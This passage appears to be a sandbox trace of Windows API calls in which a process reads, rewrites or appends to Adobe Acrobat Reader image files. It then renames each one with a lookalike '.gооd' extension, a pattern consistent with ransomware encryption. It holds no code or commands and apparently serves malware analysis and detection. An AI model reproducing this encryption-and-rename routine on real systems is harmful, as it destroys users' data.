[0109.680] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png", lpFilePart=0x0) returned 0x65 [0109.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0109.680] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0109.680] GetFileType (hFile=0x7b4) returned 0x1 [0109.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0109.680] GetFileType (hFile=0x7b4) returned 0x1 [0109.680] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x84a [0109.680] ReadFile (in: hFile=0x7b4, lpBuffer=0x342d288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x342d288*, lpNumberOfBytesRead=0x1fdec3e8*=0x84a, lpOverlapped=0x0) returned 1 [0109.682] CloseHandle (hObject=0x7b4) returned 1 [0109.709] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png", lpFilePart=0x0) returned 0x65 [0109.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0109.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0109.710] GetFileType (hFile=0x7b4) returned 0x1 [0109.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0109.710] GetFileType (hFile=0x7b4) returned 0x1 [0109.710] WriteFile (in: hFile=0x7b4, lpBuffer=0x34a85c8*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x34a85c8*, lpNumberOfBytesWritten=0x1fdec2f8*=0x850, lpOverlapped=0x0) returned 1 [0109.711] CloseHandle (hObject=0x7b4) returned 1 [0109.711] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png", lpFilePart=0x0) returned 0x65 [0109.711] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png.gоod", lpFilePart=0x0) returned 0x6a [0109.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0109.712] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3d9c3149, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x850)) returned 1 [0109.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0109.712] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud.png.gоod")) returned 1 [0109.712] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", lpFilePart=0x0) returned 0x6c [0109.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0109.712] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x34a9918 | out: lpFileInformation=0x34a9918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3181)) returned 1 [0109.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0110.534] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", lpFilePart=0x0) returned 0x6c [0110.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0110.545] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0110.545] GetFileType (hFile=0x7dc) returned 0x1 [0110.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0110.545] GetFileType (hFile=0x7dc) returned 0x1 [0110.545] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0110.545] ReadFile (in: hFile=0x7dc, lpBuffer=0x36e57a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x36e57a0*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0110.546] CloseHandle (hObject=0x7dc) returned 1 [0110.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", lpFilePart=0x0) returned 0x6c [0110.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0110.546] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0110.546] GetFileType (hFile=0x7dc) returned 0x1 [0110.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0110.547] GetFileType (hFile=0x7dc) returned 0x1 [0110.547] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x3181 [0110.547] WriteFile (in: hFile=0x7dc, lpBuffer=0x36e6ac0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x36e6ac0*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0110.547] CloseHandle (hObject=0x7dc) returned 1 [0110.547] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", lpFilePart=0x0) returned 0x6c [0110.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0110.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0110.548] GetFileType (hFile=0x7dc) returned 0x1 [0110.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0110.548] GetFileType (hFile=0x7dc) returned 0x1 [0110.548] ReadFile (in: hFile=0x7dc, lpBuffer=0x36e8dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x36e8dd8*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0110.942] CloseHandle (hObject=0x7dc) returned 1 [0110.942] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", lpFilePart=0x0) returned 0x6c [0110.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0110.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0110.942] GetFileType (hFile=0x7dc) returned 0x1 [0110.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0110.943] GetFileType (hFile=0x7dc) returned 0x1 [0110.943] WriteFile (in: hFile=0x7dc, lpBuffer=0x3393940*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x3393940*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0110.943] CloseHandle (hObject=0x7dc) returned 1 [0110.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png", lpFilePart=0x0) returned 0x6c [0110.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png.gоod", lpFilePart=0x0) returned 0x71 [0110.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0110.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3e5622b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3191)) returned 1 [0110.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0110.943] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud_retina.png.gоod")) returned 1 [0110.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png", lpFilePart=0x0) returned 0x66 [0110.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0110.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\close_x.png"), fInfoLevelId=0x0, lpFileInformation=0x34530f0 | out: lpFileInformation=0x34530f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x132)) returned 1 [0110.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0110.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png", lpFilePart=0x0) returned 0x66 [0110.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0110.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\close_x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0110.945] GetFileType (hFile=0x7dc) returned 0x1 [0110.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0110.945] GetFileType (hFile=0x7dc) returned 0x1 [0110.945] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x132 [0110.945] ReadFile (in: hFile=0x7dc, lpBuffer=0x3453540, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x3453540*, lpNumberOfBytesRead=0x1fdec3e8*=0x132, lpOverlapped=0x0) returned 1 [0110.946] CloseHandle (hObject=0x7dc) returned 1 [0111.813] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png", lpFilePart=0x0) returned 0x66 [0111.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0111.813] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\close_x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0111.814] GetFileType (hFile=0x7c8) returned 0x1 [0111.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0111.814] GetFileType (hFile=0x7c8) returned 0x1 [0111.814] WriteFile (in: hFile=0x7c8, lpBuffer=0x35ca160*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x35ca160*, lpNumberOfBytesWritten=0x1fdec2f8*=0x140, lpOverlapped=0x0) returned 1 [0111.815] CloseHandle (hObject=0x7c8) returned 1 [0111.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png", lpFilePart=0x0) returned 0x66 [0111.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png.gоod", lpFilePart=0x0) returned 0x6b [0111.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0111.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\close_x.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3edba807, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140)) returned 1 [0111.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0111.815] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\close_x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\close_x.png.gоod")) returned 1 [0111.816] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", lpFilePart=0x0) returned 0x69 [0111.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0111.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x35cb4b0 | out: lpFileInformation=0x35cb4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7394)) returned 1 [0111.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0111.816] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", lpFilePart=0x0) returned 0x69 [0111.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0111.816] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0111.817] GetFileType (hFile=0x7c8) returned 0x1 [0111.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0111.817] GetFileType (hFile=0x7c8) returned 0x1 [0111.817] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0111.817] ReadFile (in: hFile=0x7c8, lpBuffer=0x35cb958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x35cb958*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0111.818] CloseHandle (hObject=0x7c8) returned 1 [0111.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", lpFilePart=0x0) returned 0x69 [0111.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0111.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0111.819] GetFileType (hFile=0x7c8) returned 0x1 [0111.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0111.819] GetFileType (hFile=0x7c8) returned 0x1 [0111.819] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x7394 [0111.819] WriteFile (in: hFile=0x7c8, lpBuffer=0x35cf118*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x35cf118*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0111.820] CloseHandle (hObject=0x7c8) returned 1 [0111.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", lpFilePart=0x0) returned 0x69 [0111.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0111.820] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0111.820] GetFileType (hFile=0x7c8) returned 0x1 [0111.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) 